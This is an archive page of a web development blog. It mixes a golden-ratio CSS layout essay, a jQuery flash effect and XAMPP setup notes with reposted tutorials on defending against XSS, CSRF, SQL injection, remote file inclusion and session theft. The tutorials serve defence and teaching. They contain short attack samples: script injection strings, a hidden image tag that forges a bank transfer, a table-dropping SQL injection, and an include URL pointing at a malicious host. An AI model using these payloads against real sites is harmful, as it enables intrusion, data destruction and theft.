Showing posts with label Web Dev Stuff. Show all posts
Showing posts with label Web Dev Stuff. Show all posts

Tuesday, September 6, 2011

Why Golden Ratio Matter's Computer Science


Author: Evangelos Pappas – evalon.gr

Golden ratio is a mathematic constant that is often used to describe the perfect symmetry. This value is being implemented in a various ways and sciences. It is inspired by nature and so it creates the illusion of the beauty. Though it is scientific improved computer scientist has barely implement this ratio, and when its done it doesn’t follows exactly the symmetry as it should. As it follows this theory will be barely described as an implementation in a web application. At this point it should be mentioned that the pages that follows are not a tutorial rather than an article.


Introduction

As a Scientist fetish I love mathematics. Maybe I'm not a Mathematician or a Physicist, though mathematics has found numerous applications in Computer Science. As mathematics are all around us as computer algorithms are also. Problems in every day life can be described in an algorithmic way resulting a more optimized way of achieving them.
Now what is the golden ratio and what does it have to do with all this science? The answer is simple. This number, which is represented by the Greek letter Phi (Φ), has inspire nature in many ways such as biology, mechanics and architecture. It basically represents the perfect symmetry in many ways. That symmetry results the beauty or as I like to call it “beauty Simplicity”, it achieves its beauty by simple generating symmetric descendants.
I have seen this number’s value applications variant from 1.61 to 1.63 though its accepted form is at ~1.618. Moreover, Golden ratio is usually messed with Fibonacci’s sequence. This sequence should be already known to most of you, though if you haven’t heard of this ( then you must be at the first year of B.Sc. of CS or a non-related-computer-scientist at all J ) then go to Wikipedia article which cover it pretty well.
 \frac{a+b}{a} = \frac{a}{b} \equiv \varphi\,.
Figure 1 This equation explains how the golden ratio is resulted by the generation of the new element which depends from its previous (from Wikipedia) 

Matters, Web
Web designing & developing maybe is one of the most fancy arcitectuall designing applications of Computer Science. Such applications that affect the most User’s Interaction and browsing. So the most critical part of these applications is the best architectuall design in order to be eye friendly and fast browsing.
I have been thinking and found that the best way to achieve somthing like that (a user & eye friendly enviroment) should mimic the nature. As nature is the most human friendly enviroment so computer applications should be.
Now, enough with the much talk! How this could be implemented. The answer is still simple. It is already implemented. Many web-site aproach this implementation at its most of its percentance without knowing it. Though there were no theory explaining it why does this happen. Watch this layout:

screen shot
Figure 2 a simple example of web page layout that follows the described theory

By viewing this schema, its obvious the size’s expansion of each element comparing it with their near elements. By assuming that the “title” element is being divided in two, the next element, the “logo” has expand its both width & height size by the Golden ration.
A great schema that describes my theory is being publish at Wikipedia :
Figure 3 a Shape representation of Fibonacci sequence. Shows aligned rectangles expanding their size according to the golden ratio 


Matters, edges
There is a trend in recent web developments that has expanded and inspires the web development community. I am referring to the edge rounding. A great example of what I am referring to is being described here: http://www.css3.info/preview/rounded-border/
As we, humans are used to like rounded things so in a Graphic environment in our computer we would like too. Imagining in the schema above ( figure 3 ) a string line that is drew from the corners of each rectangle then a snail shell like schema will be figured.
This new figure will follow the principles of the golden spiral or as most known as Logarithmic spiral
Figure 4 The golden Spiral
In web developing, in order to implement this in a block element we have to set its style. In order to keep the symmetry of our layout the “em” scalable unit will be used. “Em” unit generates the size of the described element according to the already set size of the inherited elements. So if we have set in our div a font size to 12px the 1em sets the size to the character to 12px.
The code that implements this rule to a block element follows:
    webkit-border-radius: 0.81em 1.61em 2.59em 4.17em; 
    -moz-border-radius: 0.81em 1.61em 2.59em 4.17em; 
    border-radius: 0.81em 1.61em 2.59em 4.17em; 

Conclusion
This theory should not be mentioned as radical rather than a notice to Computer Scientists. It does not prove something new or not even developed something really innovated. It just proposes a better statured layout that follows principles and theories of mathematics.
Thank you very much for your interest and reading :) .








 





Monday, July 25, 2011

Camera Flash Effect With JQuery

You can see the working demo here. Go to the page and Click anywhere to generate the effect.

 

Code


Include SoundManager for Sound

<script type='text/javascript' src='script/soundmanager.js'></script&gt; <script type="text/javascript">soundManagerInit();</script> 
  

Learn more about it.

CSS

  body{
    background:black; }  .flashDiv{ 
    position:fixed;  top:0;
    left:0;
    width:100%;
    height:100%;
    background-color:#fff;
 }   

JavaScript
             

function flash(e)

{
$('.flashDiv') .show()  //show the hidden div .animate({opacity: 0.5}, 300)  .fadeOut(300)
        .css({'opacity': 1});     //play the sound    
    soundManager.play('capture'); }
$(document).ready(function() 
{         $('.flashDiv').hide();  
    $(document).mouseup(function(e) { flash(e); }) });   

HTML
Include this div to the body
<div class='flashDiv'></div>

 

 

 

 

Sunday, July 10, 2011

JavaScript Attack/Defend

As developers and designers we work hard to build visually attractive, fast and easy to maintain applications. Our goals are to make sure the applications we build stick to users and keep them coming back for more. Security is not always at the forefront of our minds. No one intentionally builds insecure software but often a lack of security knowledge leads developers to build vulnerabilities into their applications. In this article we are going to examine two web security attacks, how they are executed and how to defend against them. By the end of this article you will have a few techniques in your security tool belt to help you build more secure web applications.

The Open Web Application Security Project (OWASP) is a global organization that focuses on improving web application security and security awareness among the developer community. OWASP maintains a list of what are considered the most serious top ten security threats to web applications: the OWASP Top Ten project. We are going to examine two attacks from the Top Ten list, Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF). These attacks are both widespread and can be easily overlooked when developing an application. The good news is that finding these attacks is simple and building mitigations for them is just as easy.

Cross Site Scripting (XSS)

Many web applications today allow users to generate content to share with other users. To find examples of this look no further than a corporate blog. Many companies use blogs to communicate with their customers by writing about new products, ad campaigns, or just the everyday happenings of the business. To encourage a conversation between the customer and company, these blogs permit comments. Comments are user generated content that is posted to the blog for others to see, including the company’s blog administrator. In this scenario, Cross Site Scripting attacks occur when a user leaves a comment on the blog with the intent to execute a malicious payload against another user.

Cross Site Scripting (XSS) is an exploitation of the trust that the user has with the web site where the attack is hosted. When a user is interacting with a site that they trust they do not expect that a malicious user has poisoned the site against them. Anywhere in a site that allows input from a user opens the door for a possible XSS attack. The malicious input is often in the form of some client side script (usually JavaScript but it could also be VBScript, ActionScript, etc…) that executes when the user performs an action such as clicking a link or loading the page.

Three Types of XSS

Three Types of XSS There are three types of XSS attacks:

  • Stored: The attack is saved into a persistent storage medium such as a database or file.
  • Reflected: Non-persistent attacks needing a delivery method to initiate the attack such an email or malicious form.
  • DOM based XSS: This attack manipulates the DOM to execute the attack payload.

For this article we will be referring to Reflected XSS in our examples but the defenses we will cover work for all the flavors of XSS. More information can be found at: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)XSS attacks can impact your users in a variety of ways. The attack can steal information from the user, perform unintended actions in the application or even load malicious software to the user’s machine. A XSS attack can also have significant impacts on your web application as well. Once the attack is exposed, users will lose faith in the safety of your application causing damage to your company’s reputation.

XSS Attack

So how does a XSS attack work? Here is an example of a very simple Reflected XSS attack:

  1. <span id="message-text">
  2.     <%=Request.QueryString["msg"]%>
  3. </span>

This quick code snippet grabs a string from the query string variable named “msg” and writes it directly to the HTML element “message-text”. Imagine the query string variable was the following:

  1. <script>alert('123');</script>

 This would load the script tag and execute the alert message to the HTML of message-text.

While this example is very simplistic, XSS attacks can become more difficult to find when they are invoked from an Ajax request or when created during a data binding expression. When the attack is brought to the page from a database or other stored data, which is called a Stored XSS Attack. The example of the corporate blog is a Stored XSS attack as the malicious user has left the code to perform the XSS attack in the corporate blog Comments database.

XSS Defense

To defend against XSS attacks you must be conscious of input to your application. Input can come from many different sources such as configuration files, databases, web services, and any other source that populates the application with data. With this in mind, the best defense against XSS is sanitizing data as it is input into your application.

Fortunately sanitizing your input is simple using tools like the Microsoft AntiXSS Library (available for download at http://www.microsoft.com/downloads/en/details.aspx?FamilyID=f4cd231b-7e06-445b-bec7-343e5884e651). This code library makes it very easy to sanitize code on the server side. Using the AntiXSS library for our above example, we would update the code to be the following:

  1. <span id="message-text">
  2.     <%=Microsoft.Security.Application.Encoder.HtmlEncode(Request.QueryString["msg"])%>
  3. </span>

The library offers a multitude of encoding options including JavaScript, CSS, and XML encoding among others. Using the Anti-XSS Library, you can clean the input going in to your data store and sanitize the output coming through your application. While this library is an excellent resource for server side coding, sometimes you need a client side sanitizer to make sure the data you retrieve in JavaScript is clean.

The OWASP Enterprise Security API (ESAPI) is one of the many projects available on the OWASP site. This API allows developers to wrap output into encoder methods for most development platforms. The JavaScript ESAPI library can be found athttps://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=JavaScript. Encoding with the ESAPI JavaScript library is just as simple as using the AntiXSS encoder. Here is an example:

  1. <script src="Scripts/jquery-1.4.1.js" type="text/javascript"></script>
  2.  
  3. <!-- ESAPI requirements -->
  4. <script src="Scripts/lib/log4js.js" type="text/javascript"></script>
  5. <script src="Scripts/esapi.js" type="text/javascript"></script>
  6. <script src="Scripts/resources/i18n/ESAPI_Standard_en_US.properties.js" type="text/javascript"></script>
  7. <script src="Scripts/resources/Base.esapi.properties.js" type="text/javascript"></script>
  8.     
  9. <!-- ESAPI usage -->
  10. <script language="javascript" type="text/javascript">
  11. function cleanData() {
  12.             org.owasp.esapi.ESAPI.initialize();
  13.         var cleanedInput = $ESAPI.encoder().encodeForHTML("<script>alert('123');<//script>");
  14.             $("#message-text").html(cleanedInput);
  15.         }
  16. </script>

Using the $ESAPI object, we can encode the malicious string to be treated like text data and not interpreted like HTML tags. The ESAPI encoder is an excellent tool to ensure clean data from Mashups or the results of an Ajax call.

Libraries like the Anti-XSS library and ESAPI do have a downside, performance. By channeling all your data through a sanitization library, you incur some overhead in the application. The security benefit from using these libraries far outweighs the slight performance hit as XSS attacks can damage not just your company’s image but also your user’s information.

Cross Site Request Forgery (CSRF)

While XSS exploits the user’s trust in a specific web site, Cross Site Request Forgery (CSRF) exploits a user’s trust in how their Web Browser works. A CSRF attack happens when an attacker crafts a malicious HTTP request and then tricks the user into executing the request. When an HTTP request is sent to a web site all the cookies, session and header information are sent as well. With this in mind, using CSRF an attacker could execute commands against a site posing as the user.

Let’s look at an example of this attack. One day a user is checking their bank balance online using the new XYZBank.com website. The user makes a few transfers moving money around different accounts. Leaving the site, the user clicks around on the web until they land on the corporate blog we discussed in the XSS example. The user reads the latest blog entry and looks at the various comments. One of the comments was left by a malicious user who has setup an invisible image tag whose SRC attribute is an HTTP request to transfer money from the users account to the attacker’s account. Since the user was already authenticated to the XYZBank.com website, the browser and server assume this is a valid request from the user and executes the money transfer. The next time the user goes to XYZBank.com and sees they are missing money; it is likely they will assume their account was hacked and not connect the loss to the corporate blog.

CSRF Attack

Building a CSRF attack requires a lot of homework. The first step of any attack is building a profile on the target, in this case XYZBank.com. By using the banking site, the attacker can learn what cookies are stored, what fields perform what actions, how data flows through the site, etc… By creating an account on XYZBank.com and using the site, our attacker has learned the following items:

  • Primary account number is stored in a cookie to save the user from selecting which account is their primary account on each visit.
  • On the money transfer page there are three fields required to transfer money:
    • Source Account Number: Where the money is coming from. If the value is blank, the site assumes the use of the Primary Account.
    • Destination Account Number: Where the money is going to
    • Dollar amount: How much is being transferred
  • The site also uses query string parameters for persisting data between HTTP requests.

Using this information, the attacker can create the following image tag:

  1. <img src="https://www.xyzbank.com/transfer.php?txtSource=&txtDest=[Attacker's Account]&txtAmount=1500" width="0" height="0" />

This zero height, zero width image would be invisible to the user but when the image is called by the Browser, the SRC attribute will send the transfer request to XYZBank.com. When the request is sent, the cookies and session for any existing connections to XYZBank.com will be sent as well making the website think that the request is legitimate. CSRF attacks can use images as in the example above or they could use anything that can make an HTTP request.

CSRF Defense

While XSS defense is simply a matter of cleaning data in your system, CSRF exploits how an Internet Browser is supposed to work. The good news is that there are multiple defenses that you can put in place to protect your application against CSRF. We will examine a few server side options first and then discuss some best practices to present to your users on how they can defend against CSRF on other sites.

Our goal is to create multiple layers of defense against a CSRF attack. The first step to this is to try and validate that the request is coming from your own site (in this case, a request to XYZBank.com is coming from XYZBank.com). Checking the HTTP Referrer Header can usually tell you where a request is coming from. This HTTP Header keeps track of where the HTTP request originatedfrom (for more information about the HTTP Referrer Header see:http://www.w3.org/Protocols/HTTP/HTRQ_Headers.html#z14). If the request originates from XYZBank.com then the HTTP Referrer will be XYZBank.com. Unfortunately, the Referrer Header can be spoofed and is not always present for every HTTP request. Checking the Referrer is simply an added layer of validation that you can use.

A much more reliable method for preventing CSRF attacks is to use the Synchronizer Token Pattern. This design pattern uses a randomly generated token that is associated with a user’s session to ensure that the request originated from the site. The random token is then stored in a hidden field and checked on each request. Using this method, the attacker would not be able to guess the random token (as it is only stored in a hidden field) and thus the request would be rejected. Using this method we would setup a Hidden Field on the HTML page and populate it with a random token:

  1. <input type="hidden" id="hdn1" value="29ldfoa9210129041jljfmcaoj39141" />

Now, for our banking site we would be expecting another parameter in the query string. The requested URL would now look like the following:

https://www.xyzbank.com/transfer.php?txtSource=&txtDest=[Attacker's Account]&txtAmount=1500&hdn1=29ldfoa9210129041jljfmcaoj39141

When the request arrives at the transfer.php page, we can check the value of “hdn1” against what has been stored in the Session. If the values match, then the request is valid and can continue. If not, then the request is rejected and an error message presented to the user.

For ASP.NET developers, ViewState already validates the requests coming in to the server but it is possible to forge or copy a ViewState with known valid data. By default, ViewState is not tied to a particular user but by using the Page.ViewStateUserKey, developers can bind a ViewState to a specific user or session. Setting the ViewStateUserKey to the SessionID will make the ViewState valid only for that SessionID so if an attacker attempts to reuse/forge the ViewState value, the ASP.NET application will see the request as invalid. Enabling this ViewState feature is simple. Add the following to the Page_PreInit method of your ASP.NET page:

  1. void Page_PreInit(object sender, EventArgs e)
  2. {
  3.         Page.ViewStateUserKey = Session.SessionID;
  4. }

You could use other properties such as User ID but whatever data point you use, it must be unique per user. Otherwise, it totally defeats the purpose of the ViewStateUserKey and opens your application to ViewState forgery.

The best defense against CSRF is an easy tactic that your users can do…just log out. Most CSRF attacks leverage actions that are available to authenticated users. Encourage your users to log out from your site and others when they are finished. Learn more about all of these defenses and more on the OWASP CSRF Prevention Cheat Sheet.

Tip of the iceberg

The two attacks we examined in this article, Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF), are common attacks but not the only security threats on the web. OWASP’s Top Ten list is an excellent resource to start your web application security training. Correcting XSS and CSRF vulnerabilities on your site is an excellent starting point on your application security journey. By increasing your security awareness implementing some of the mitigations presented in this article, you will be well on your way to protecting your user’s data and the reputation of your application.

 

Reference:  ScriptJunkie By Tim Kulp

 

 

Friday, December 3, 2010

How I got Xampp to work on 64 bit

Here's what I did to get Xampp to work on 64 bit Ubuntu Studio (Hardy)

From Synaptic:

-Install ia32-libs

In a terminal:

-Pull package from Apache Friends (version may change)
wget http://www.apachefriends.org/download.php?xampp-linux-1.6.6.tar.gz

-su to root, or use sudo for each of the commands below:

-Extract, w/ overwrite into /opt:
tar xvfz xampp-linux-1.6.6.tar.gz -C /opt

-Start xampp:
/opt/lampp/lampp start

-Test Xampp:
type localhost in a browser

-Start Xampp on boot:
gedit /etc/init.d/rc.local
Below the #! /bin/sh line, type:
/opt/lampp/lampp start

-Make Xampp more secure:
/opt/lampp/lampp security
(Follow prompts.)

That's it. Your pages go in /opt/lampp/htdocs.

If you use PHP scripts in your html & you want to keep the .html or .htm extension on your pages, you can:

-Open text editor and type:

RemoveHandler .htm. .htm
AddType application/x-httpd-php .php .htm .html

-Save the file as .htaccess (note the dot) and place in /opt/lampp/htdocs.



Source

 

Thursday, March 18, 2010

PHP Security

1. Introduction

Writing PHP applications is pretty easy. Most people grasp the syntax rather quickly and will within short time be able to produce a script that works using tutorials, references, books, and help forum forums like the one we have here at PHP Freaks. The problem is that most people forget one of the most important aspects that one must consider when writing PHP applications. Many beginners forget the security aspect of PHP. Generally, your users are nice people, they will do as they are told and you will have no problem with these people whatsoever. However, some people are not quite as nice. Some people are outright malicious and are seeking to do damage on your website. They will scrutinize your application for security flaws and exploit these holes. Many times the beginner programmer did not know that these things would even be a problem and therefore it might be a problem to fix the holes. In this tutorial we will look at some of these issues so you can learn how to deal with them, and better yet, prevent them. Obviously I will not promise you that by following this tutorial you will never get successfully attacked. As you become bigger you will also become a bigger and therefore more interesting target – something we have experienced ourselves here at PHP Freaks.
On the next page we will look at how we should do our error reporting.
This tutorial is available for download as a PDF file here. That version can be read offline or printed.

2. Error reporting

Error reporting is a good thing, right? It gives you valuable insight into why your application failed. It gives you useful information such as what happened and where it happened. This information is essential in order to fix the bug. However, you might not be the only one who is interested in knowing why your application failed. By giving the user the details from the errors and/or exceptions thrown by PHP you are giving valuable insight into how your application works. Apart from the source itself, this is one of the most valuable intelligence the attacker might gather when looking for vulnerabilities in your application. Therefore, you should never output the error to the screen when your application is running in a production environment (the live setting in which your application runs when it is available for public use). In your development environment (e.g. on your local computer) it is perfectly fine to output the errors because there are nobody but you to see them and it is easier than having to check an error log when something fails unexpectedly.
So what should you do when you have launched your new killer app? Bugs might still appear and you need the before-mentioned information in order to fix them. What you can do, and should do, is write the errors into a log file. Actually, PHP does insert all errors into a log file on the server by default. However, if you are on shared hosting then you will most likely not have access to that file and it will therefore be necessary to write it into your own file. There are a couple of php.ini directives that are relevant to our problem:
  • display_errors this directive controls whether PHP errors should be sent to the screen. In a production environment this should always be turned off.
  • error_reporting this directive controls which errors that should be reported. You should set this to E_ALL and you should fix all issues that appear by doing this.
  • log_errors this controls whether errors should be logged to a file. I would recommend that you always turn this on.
  • error_log this is the path of the file errors should be written to. This is only applies if log_errors is turned on obviously.
Here is how I would recommend that you configure the before-mentioned four directives:
Table 2.1: Recommended Configuration
Directive name: Production: Development:
display_errors Off On
error_reporting E_ALL E_ALL
log_errors On On
error_log varies varies
How error_log should be configured obviously depends on how your directory structure is setup (more on that later in this tutorial).
2.1. Setting the directives
There are a number of different ways you can set the directives in order to achieve the most secure and efficient error handling as I talked about before. If you already know how to do that then you can skip this section.
First and foremost there is changing the values directly in php.ini. However, this is only possible if you are the administrator of the server so for many people this is not an option.
Apache has some configuration files called .htaccess where you can configure Apache directives for the particular folder (and sub-folders) the file is located in. Some hosts do not allow you to use this, but if you can then the PHP module has a directive called php_flag which allows you to set PHP directives. You simply do it like this:
php_flag directive_name directive_value
Note that you cannot use constants like E_ALL so you will have to use their numeric values. E_ALL’s value is currently 8191, but that might change in the future so you should check the new value if you update a major version. You can see the constants regarding error reporting at any time here.
So for our production environment you can do this:
php_flag display_errors off
php_flag error_reporting 8191
php_flag log_errors on
php_flag error_log /home/someone/logs/php_errors.log
A third option is to use to use PHP’s ini_set() function. That function takes two arguments: the name of the directive to set and its new value. You can use the constants here. There is a function called error_reporting() which you can use to set the error reporting instead.

3. SQL injections

One of the most common problems with security in web applications is SQL injection. To begin with I will present this comic for you:

The comic clearly illustrates the problems with SQL injection. If you do not get it, do not worry, you will in just a moment.
SQL injections work by injecting SQL into the queries you have already written in your script. Often you will pass some sort of variable data to your queries; this data might be influenced by user input. In the above comment we might imagine that the school had a query that looks something like this:
  1. $sql = “INSERT INTO Students (name) VALUES (’{$_POST['student_name']}’)”;
The above snippet works. As long as users input data that conforms to an expected format. Now, the mother in the comic did not provide expected data, rather she injected an entire additional query into the existing query. Let’s take a look at how the query looks when we enter the string given by the mother:
  1. INSERT INTO students (name) VALUES (‘Robert’); DROP TABLE Students;–’)
(Note: PHP does not support stacking queries with all DBMSs. MySQL in particular)
As you probably know, a semi-colon ends a query and most times it is actually required, but PHP just adds it automatically if you omit it. Therefore, by closing the string and finishing the query by entering the closing parenthesis and a semi-colon we will be able to add an additional query that drops the student table. The two hyphens at the end make whatever comes after it a comment, so whatever remaining characters that might have been in the original query will simply be ignored.
It should not take too much brain power to figure out why this is a bad thing. Malicious users will basically be able to execute any kind of queries they would like to. This can be done for various purposes. It could be retrieving confidential information or destroying your data just to name a few.
3.1. Protecting your script from SQL injections
Fortunately, protecting yourself from SQL injections is rather easy. It is just a matter of calling a single function which make data safe for use in a query. How you should do this depends on which PHP extension you are using. Many people use the regular mysql extension, so let us start with that one. That particular extension has a function called mysql_real_escape_string(). Let us take a look at how that one works with a simple example that illustrates its usage:
  1. <?php
  2. $db = mysql_connect(‘localhost’, ‘username’, ‘password’);
  3. mysql_select_db(’school’, $db);
  4. $studentName = mysql_real_escape_string($_POST['student_name'], $db);
  5. $queryResult = mysql_query(“INSERT INTO Students (name) VALUE (’{$studentName}’)”);
  6. if ($queryResult) {
  7. echo ‘Success.’;
  8. }
  9. else {
  10. echo ‘Insertion failed. Please try again.’;
  11. }
  12. ?>
As you see, doing it is incredibly easy yet many people fail to do this and only find out when it is too late. Other extensions support something called prepared statements. An example of a such extension is PDO (PHP Data Objects). Let us take a look at how that works:
  1. <?php
  2. $db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);
  3. $stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (?)’);
  4. try {
  5. $stmt->execute(array($_POST['student_name']));
  6. echo ‘Success.’;
  7. }
  8. catch(PDOException $e) {
  9. echo ‘Insertion failed. Please try again.’;
  10. }
  11. ?>
If you have many fields you need to use in your query then it might be a little difficult remembering the order of all these different question marks which act as place holders for the data. An alternate syntax is using named parameters. In our case it would look like this:
  1. <?php
  2. $db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);
  3. $stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (:name)’);
  4. try {
  5. $stmt->execute(array(‘name’ => $_POST['student_name']));
  6. echo ‘Success.’;
  7. }
  8. catch(PDOException $e) {
  9. echo ‘Insertion failed. Please try again.’;
  10. }
  11. ?>
Obviously, in our case this would not have any benefits, but as I said, if you have many parameters then you might find that more useful. There can be other reasons why using prepared statements would be useful, but I will leave that to research for yourself.
The mysqli (MySQL improved) extension has support for prepared statements as well, so if you are using that then check out its documentation to see the syntax.
The golden rule regarding this is that nothing is to be trusted and all data should be escaped.
Additionally, I mentioned earlier that users should not get information from error messages. Not only is it irrelevant, but it may also be information that may aid people with malicious purposes. You may sometimes be told that you should add or die(mysql_error()) to the end of your query calls to functions like mysql_query(). However, you should not do that. By doing that you are no longer using PHP’s error and exception handling functionality and you remove the opportunity to control whether errors should be displayed or not. In my opinion the best solution would be to use PHP’s exceptions. If you do not want to do that then at least do something like or trigger_error('Query failed: '. mysql_error()). By doing that you are utilizing PHP’s built-in functionality and you will be able to use the methods discussed under Error Reporting. Moreover, ending script execution with die() is simply bad practice. You will not be able to give the user a proper error page and you will not be able to do any cleaning up for the rest of the script.

4. Cross Site Scripting

Cross-Site Scripting, abbreviated XSS, is another common security issue. This issue is relevant whenever content that comes from the user will be redisplayed on the screen. It is essentially when Javascript is injected into the HTML source. We could for instance imaging a forum. On a forum users will be able to post messages that will be displayed for other users. We want the users to be able to format their messages and HTML is just perfect for that, right? There is just a minor problem… Not all users are equally nice. The same kind of people that might want to drop the school’s student table from the previous section might also want to do something here. Specifically what they might want to do is insert Javascript into the source. This might be for various purposes. It could be simply for annoying by creating an infinite loop of alert messages which would force the user to shutdown the browser or it could be redirecting the users to websites such as goatse or tubgirl (you might not want to check what it is if you do not already know). Other, more sofisticated attacks, could be writing a keylogger that logs and sends keystrokes (such as passwords) to an external website or the injected Javascript could be retrieving the users’ cookies (more on the latter later in this tutorial).
4.1. XSS Protection
As a matter of fact, this is rather easy to protect yourself from as well. PHP has a nifty function that is useful in this instance which is called htmlentities(). It will simply convert characters which have a meaning in HTML to their corresponding entities. For instance, HTML tags start with a lower-than sign and that particular character will be converted to &lt;. If you care about validation of your HTML (and you should!) then this will also help along with that.
We just have one problem. Our original example was a forum system and we wanted to give the users the opportunity to format their posts. However, the fix we just implemented removed this opportunity so we need to give them an alternate one. One with which we can control what they may do and not do. A common feature is called bbcodes. It has a syntax very similar to HTML and I am quite sure you are familiar with it if you have ever frequented any forum. Be aware though! You might get some additional XSS security holes with some tags.
A common bbcode tag is the URL tag. We could imagine that someone entered
[url=http://www.phpfreaks.com]The best PHP website[/url]
which would be converted to:
<a href="http://www.phpfreaks.com">The best PHP website</a>
. At first glance there is no issue with allowing that. However, URLs like javascript:alert('Hi') are also allowed and they will, obviously, execute the entered Javascript. Similarly, in some lower versions of Internet Explorer (IE6 and below) that URL format is allowed and will execute Javascript so we have to take care of that as well.
For both the two before mentioned instances we might want to check that the protocol is one we would allow. It would be better to create a white-list of allowed protocols instead of creating a black-list of disallowed protocols. Simply select the protocols you want (e.g. http, https and ftp) and disallow all other.
Finally, this XSS cheatsheet might be useful to you. Both when learning about XSS as well as testing that your application is secure.

5. Outside file access

Normally, pages ending with .php will be handled forwarded to PHP by Apache and therefore the code will be hidden from the users. That the source code is hidden is one of the things that characterizes server-side scripting languages such as PHP. However, the PHP module or Apache might fail and the code might be displayed in plain unparsed text to the user. This is definitely not good. First of all, if the source is visible then it is much easier to find security issues in your application. Additionally, some scripts contain configuration files within the document root (the directory in which all files and sub-folders are publicly accessible from the outside world) and those will obviously not be parsed either thus presented to the user if they enter the filename into the URL. Personally I have experienced this before where I was on a small website and suddenly a misconfiguration of some sort displayed the source code to me. The website used a widely used application and I happened to know where the configuration file was. Sure enough, I was able to view that as well and from that I gathered the root password for the server (bad security practice to use the same password for multiple purposes and it is also bad security practice to use the root MySQL user). Being a nice person I did not do anything with it, but other people might not be as nice as I am and if you have the root password for a server then you can essentially do anything with it.
Another instance of this is the popular website Facebook which you have probably heard about in some way or another. What I explained before (server misconfiguration resulting in leaked source code) also has also happened to Facebook. Even big companies with people paid to configure the server apparently sometimes screws up and therefore it is necessary to take some security precautions in order to prevent source leakage if something like that should ever happen (something Facebook apparently did not).
It all has to do with how you layout your directory structure. So, all files within the document root can be retrieved by the user. Therefore we might as well move everything else out of there so people cannot directly access it. This means we might have index.php and some static files such as CSS, Javascript and images laying inside the document root. We can even take it further and do so the only thing that is in index.php is the following:
  1. <?php
  2. require ‘../public_index.php’;
  3. ?>
That particular snippet is the only thing the user will ever be able to see should something happen. So we might have a directory structure that looks like this:
/application
  /controllers
  /models
  /views
/library
/public_html <-- document root
  /index.php
  /media
    /images
    /javascript
    /css
/config
/cache
/tmp
/public_index.php
/logs
By laying out your files in this manner you will prevent that people will see things they are not supposed to see. It is easy to do so there is no reason why you would not.

6. Remote file inclusion

Remote file inclusion attacks (sometimes abbreviated RFI) is a vulnerability many people probably do not know of, but it is a very serious issue that also must be addressed. As the name implies, it is when remote files are included, but what exactly does that? Let us look at an example:
  1. <?php
  2. $page = isset($_GET['page']) ? $_GET['page'] : ‘home’;
  3. require $page . ‘.php’;
  4. ?>
This is a very basic front controller that will forward the request to whatever file that should be responsible for that particular request.
Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk. This file could be a shell which would allow people to execute commands to the terminal from it as well as other things they should not bea ble to. Another thing the attacker can do is set page to http://example.com/malice.php? (note the ending question mark). That will make whatever follows it part of the query string and therefore ignored by the server the file is getting included from. Why this is a security issue should be pretty obvious. People should definitely not be able to execute whatever commands they want on our server, so how can we prevent them?
There are a couple of php.ini directives you can use to prevent this:
  • allow_url_fopen this directive is set to on by default and it controls whether remote files should be includable.
  • allow_url_include this directive is set to off by default and was introduced in PHP 5.2. It controls whether the include(), require(), include_once() and require_once() should be able to include remote files. In versions below PHP 5.2 this was also controlled by allow_url_fopen. Furthermore, if allow_url_fopen is set to off then this directive will be ignored and set to off as well.
Basically those two directives will enable you to set the required security settings you will need. Again, no data that is not from the inside of your system should be trusted. You must validate user input and ensure that people will not enter malformed or unexpected data.
One of our other administrators, Thomas Johnson, has written a small tutorial about how you can use Apache to block RFI attacks called Preventing remote file include attacks with mod rewrite. You might want to check that out as well if you are concerned about RFI vulnerabilities.

7. Session security

Sessions and cookies are also two things where you have to watch out. Although they cannot breach your application’s security they can be used to compromise user accounts.
When you are using sessions, PHP will most often store a cookie on the client computer called PHPSESSID (can be changed by you). This cookie will hold a value, a session identifier, which is associated with some sort of data on the server. If the user has a valid session ID then the data associated with the session will get into the $_SESSION super-global array. Sessions can also be transferred via the URL. In that case it would be something like ?PHPSESSID=id_here.
7.1. Stealing the cookies
Imagine that you have a key for a vault in your bank. If you have the key then you can get whatever is in the vault. The session ID works a bit like that. However, your key for your vault can be stolen and similarly can the session ID of your users (including you) be stolen or intercepted.
For the record, just because I used a vault/key analogy then it does not mean that you should put secret or important data of some sort in your sessions.
Earlier we talked about XSS and I mentioned briefly that it could be used to steal people’s cookies. That is the most common way cookies are stolen. This cookie could be PHPSESSID (or whatever you may have renamed it to. When you steal a session ID and try to use it again it is called session fixation. So… if you can get a valid session ID and that session is used for something like authentication then you will essentially be logged in as that user. Obviously that is not a good thing – especially not if the user is high ranking with administrative privileges.
7.2. Issues with shared hosting
Most people host their website on what is called shared hosting. It is basically when there are multiple people having their websites hosted on a single server. On a server with a Linux operating system session data will by default be stored in the /tmp directory. It is a directory that stores temporary data and it will obviously have to be readable and writable by everyone. Therefore, if your session data is stored in there, which it is by default, then the other users can find it if they look hard enough. This poses the same security issues as with cookies being stolen using XSS.
7.3. Preventing session fixation
Now that we have talked a bit about how the session ID can be stolen then let us talk a bit about how we can minimize the risk session fixation.
One thing we can do is to change the session ID often. If we do that then the chance that the intercepted session ID will be valid will be greatly minimized if that ID changes often. We can use one of PHP’ built-in functions called session_regenerate_id(). When we call this function the session ID will be, no surprise, regenerated. The client will simply be informed that the ID has changed via an HTTP response header called Set-Cookie.
If you are using PHP 5.2+ then you can tell the browser that Javascript should not be given access to the cookie using a flag called httponly. You can set this flag using the php.ini directive called session.cookie_httponly or you can use the session_set_cookie_params() function.
Regarding the issue with the shared hosts, the fix is simple: store the data where only you have access. You can use the directive called session.save_path to set another path for storing them. You can also store them in a database, but then you will have to write your own handler using the function called session_set_save_handler()

8. Cross-site request forgery

Cross-site request forgery (CSRF) is when you trick the user into making a request they have never made. Imagine that in your application it is possible to delete users like this: /user/delete/Joe. That would delete the user with the username “Joe”. A malicious user might place this bit of HTML on his website:
  1. <img src=“http://example.com/user/delete/Joe” height=“1″ width=“1″ />
This will basically trick the user into making a request to that page without them knowing it. Obviously only people who are logged in as administrators should be able to call this URL and therefore it will fail for most users. However, if a logged in administrator goes to the page where the above piece of HTML is located then the request will be successfully completed and “Joe” will be gone.
